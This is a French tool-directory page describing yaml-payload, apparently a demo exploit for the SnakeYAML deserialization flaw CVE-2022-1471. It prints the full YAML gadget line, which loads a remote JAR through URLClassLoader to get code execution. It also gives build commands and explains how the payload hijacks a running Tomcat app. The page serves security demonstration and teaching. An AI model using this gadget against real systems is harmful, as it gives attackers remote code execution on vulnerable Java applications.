Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
yaml-payload — SnakeYAML CVE-2022-1471 charge utile d'exploitation pour démos Seal Security | Kitploit
Outils/GitHubGitHub/seal-sean-org/yaml-payload
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubseal-sean-org/yaml-payload

yaml-payload

SnakeYAML CVE-2022-1471 charge utile d'exploitation pour démos Seal Security

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

yaml-payload

Un payload d'exploitation de désérialisation SnakeYAML pour CVE-2022-1471, adapté de artsploit/yaml-payload (dérivé de mbechler/marshalsec).

Ce qu'il fait

Lorsqu'il est chargé via la méthode non sécurisée Yaml.load() de SnakeYAML, ce payload prend le contrôle de l'application en cours d'exécution et la remplace par une page « You've Been PWNED » :

  1. Injecte une Valve Tomcat dans l'application Spring Boot en cours d'exécution via la réflexion, détournant le port 8080 existant — la même URL (y compris tout tunnel ngrok) sert désormais la page PWNED.
  2. Redirige automatiquement le navigateur — la réponse POST envoie une redirection 302, de sorte que le navigateur charge immédiatement la page PWNED sans rafraîchissement manuel.
  3. Ouvre automatiquement le navigateur vers l'URL correcte (URL publique ngrok si disponible, sinon localhost:8080).
  4. Affiche la preuve de l'exploitation dans la console/les logs CI.

Si l'injection de Valve Tomcat n'est pas disponible (par exemple, application non Spring), il revient à un serveur HTTP autonome sur le port 9999 et crée automatiquement un tunnel ngrok si ngrok est en cours d'exécution.

Cela fonctionne à la fois localement sur macOS et dans les pipelines CI/CD (par exemple, GitHub Actions sur Ubuntu).

Fonctionnement de la chaîne d'exploitation

Le payload SnakeYAML déclenche ScriptEngineManager via le SPI Java (Service Provider Interface) :

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML instancie java.net.URL pointant vers yaml-payload.jar de ce dépôt.
  2. L'enveloppe dans un URLClassLoader pour charger les classes distantes.
  3. ScriptEngineManager découvre et charge AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory.
  4. Le constructeur de la factory injecte une Valve dans le pipeline Tomcat en cours, remplaçant chaque réponse ultérieure sur / par la page PWNED.

Construction

Nécessite JDK 17+ :

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Utilisation

Utilisé comme payload d'exploitation dans le projet maven-demo. Collez la chaîne du payload dans le champ de nom de l'application pour déclencher l'exécution de code à distance (RCE). La page de l'application sera remplacée par la page PWNED lors de la prochaine requête. Voir le README de ce dépôt pour les instructions complètes de la démonstration.

Télécharger l’outil